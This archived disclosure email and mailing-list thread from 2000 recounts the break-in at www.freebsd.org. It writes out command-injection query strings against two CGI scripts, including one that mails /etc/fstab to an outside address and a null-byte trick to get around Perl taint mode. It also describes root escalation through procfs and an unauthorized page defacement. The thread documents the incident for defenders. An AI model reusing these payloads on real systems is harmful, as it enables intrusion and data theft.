what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

freebsd.org-report.txt

freebsd.org-report.txt
Posted Dec 17, 2000
Authored by Karin, Joost Pol aka Nohican

How Freebsd.org was hacked - By combining insecurities in two CGI scripts, www.freebsd.org was taken over by Nohican and Frank Van Vliet.

tags | paper, cgi
systems | freebsd
SHA-256 | a9d71e318700dd856a56a3d174a9700ea8a3e6f68489a1adb726739dc6089ab0

freebsd.org-report.txt

Change Mirror Download
----- Forwarded message from Frank van Vliet <karin@root66.org> -----

Delivered-To: karin-root66-karin@root66.org
Date: Tue, 28 Nov 2000 02:46:03 +0000
Reply-To: root66@thyserpent.net (root66 Mailinglist)
Errors-To: root66
Precedence: bulk
X-Courtesy-Of: root66 MailingList
From: Frank van Vliet <karin@root66.org>
To: security-officer@freebsd.org
Cc: Joost Pol <nohican@niets.org>
Subject: Security of FreeBSD.org
User-Agent: Mutt/1.2.5i

Dear SecurityPeople,

As you might have noticed, Frank and I (Nohican) have discovered
some minor security issues on freebsd.org

We noticed that in the cgi-script dosendptr.cgi the gndb paramter
was not correctly checked, so we could 'require' any file we wished
by carefully constructring a query string.

This was not much of an issue until we discoverd the getmsg.cgi script
that didn't do correct input validation on the fetch parameter, which
was passed to an open call.

The vulnerabillity in the getmsg.cgi was the most severe, this would
allow us to pass strings like ';/usr/bin/id|' and have it openend,
but two issues came to mind:

1. The input was splitted on spaces.
2. The getmsg.cgi was using perl in tainted mode.

The first limitation was easy to overcome, we just used tabs instead of
spaces to seperate commands. so querystrings like this worked:

getmsg.cgi?fetch=one+two+;/bin/cat%09/etc/ftsab%09|mail%09nohican\@niets.org|+four

still this all failed, because getmsg.cgi was using perl in tainted mode.

We could overcome the tainted perl by requiring the getmsg.cgi using
the dosendptr.cgi script

So, using query strings like this:

http://www.freebsd.org/dosendptr.cgi?gngdb=./getmsg.cgi%00&
fetch=one+two+/usr/local/www/db/text;/bin/cat%09/etc/fstab|+four

Could be executed.

We gained nobody access to the freebsd.org boxen and quickly
leveraged our access to root using a know issue regarding
/proc/pid/mem files. We also discovered this hole and reported
it some time back.

Please understand, we have no "bad' intentions, and we have not
made any attemepts to conceal our "findings" by sanatizing logs
or something.

The only thing we did was add one extra rule on hup.freebsd.org for url rewriting and editing its local index.html. http://freeb
sd.org/index.html now got a tiny message of us to kris, backups are made in the same dir as origional files.

Kris, good luck on your new job, if we can be of any help,
please let us know.

Kind regards,
Joost Pol aka Nohican
Frank Van Vliet aka {}



----- End forwarded message -----

As promised, here are the details of the recent penetration of the
www.freebsd.org server.

As several people guessed, the initial penetration involved weaknesses
in the CGI scripts running on the website. This gained control of user
nobody, and then a local root vulnerability was leveraged to gain root
access to the machine.

As far as we could tell, the attackers' only action was to plant a
greeting on the main webpage. They contacted the security-officer
immediately describing the entry mechanism and the extent of their
activities, and while we do not believe any further malicious activity
was carried out, various protective measures were taken to sanitize
the compromised system, including an audit for all known security
holes and a complete system upgrade.

The www cgi scripts have since been audited by several people for
other vulnerabilities, four of which were found and corrected (I don't
have the exact details to hand). All involved input validation errors
which allowed a remote user to execute commands as the user running
the cgi scripts (user nobody). There is still further work which is
being done on the cgi scripts to ensure greater safety (e.g. use of
perl's taint mode), but the auditors believe the problems have been
fixed. There are also other changes planned to improve the security of
machines in the freebsd.org cluster against future penetration
attempts.

It's my understanding that none of the www.freebsd.org mirrors use the
CGI scripts, therefore this vulnerability is likely limited to the one
main server - but if anyone else has adapted freebsd CGI scripts for
their own purposes they are advised to catch up with recent
changes. Since the website contents are not a supported FreeBSD
product an advisory is not planned for these vulnerabilities.

Sorry for taking longer than promised to send this mail. I am
currently suffering under very reduced connectivity while back home in
Australia for the holidays. Thanks for everyone's patience.

Kris Kennaway
FreeBSD Security Officer


On Thu, 14 Dec 2000, Kris Kennaway wrote:

> As promised, here are the details of the recent penetration of the
> www.freebsd.org server.
>
> As several people guessed, the initial penetration involved weaknesses
> in the CGI scripts running on the website. This gained control of user
> nobody, and then a local root vulnerability was leveraged to gain root
> access to the machine.
> [stuff deleted]
> The www cgi scripts have since been audited by several people for
> other vulnerabilities, four of which were found and corrected (I don't

This brings up an excellent point. It would be great if I could
out-source the responsibility of reviewing [and optionally correcting] C
or Perl code prior to making it available to webserver customers.

Is there a centralized source of {reputable, qualified} individuals that
provide this service?



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


Kris,

Any chance you could let us know exactly what 'local root vulnerability' was
exploited. As I recall it was originally stated that no weakness in FreeBSD
itself had been leveraged. I appreciate that the hacker gained access to the
system via CGI (and not a FreeBSD weakness) but once in he/she became root
through some other means. Was this vulnerability a configuration issue or
simply a known problem that had not been addressed?

Thanks, john...





To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message

On Fri, Dec 15, 2000 at 07:53:32AM -0000, John Howie wrote:
> Any chance you could let us know exactly what 'local root vulnerability' was
> exploited. As I recall it was originally stated that no weakness in FreeBSD
> itself had been leveraged. I appreciate that the hacker gained access to the
> system via CGI (and not a FreeBSD weakness) but once in he/she became root
> through some other means. Was this vulnerability a configuration issue or
> simply a known problem that had not been addressed?

Allthou we normaly only use weaknesses created by the server admins itself,
like cgi scripts made by them and configurations, this time local root was
gained by a local root exploit which was an 'error' of freebsd itself.
Advisory about it was promised to be send weeks ago, it is fixed in FreeBSD 4.2

Kris, this would be a nice timing for that advisory?

Frank van Vliet alias {}
Joost Pol alias nohican


--
RooT66: http://root66.student.utwente.nl
PGP Public Key: http://root66.student.utwente.nl/frank.pub.pgp


On Fri, Dec 15, 2000 at 07:53:32AM -0000, John Howie wrote:
> Kris,
>
> Any chance you could let us know exactly what 'local root vulnerability' was
> exploited. As I recall it was originally stated that no weakness in FreeBSD
> itself had been leveraged. I appreciate that the hacker gained access to the

No, I said that it was not a vulnerability in FreeBSD which allowed
the initial penetration. The attackers wouldn't have been able to get
in if this was any old FreeBSD system that wasn't running dodgy CGI
scripts.

> system via CGI (and not a FreeBSD weakness) but once in he/she became root
> through some other means. Was this vulnerability a configuration issue or
> simply a known problem that had not been addressed?

The latter :-( In fact it was a problem which was brought to our
attention a few days prior by the same guys who did the penetration -
unfortunately it's taken us rather longer than I would have liked to
get it fixed and an advisory released, a combination of the people
involved being busy travelling, or just busy. However we've finally
got it all together, it seems, and so an advisory should be out on
Monday.

If I'd known how long it would take to get the problem fixed I would
have released details informally before now - I can only apologise for
the delay, although to my knowledge this vulnerability is not yet
widely known - basically there are several local root exploits in
procfs: wait for the advisory for more details, unmount procfs now on
your multi-user systems.

Kris

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close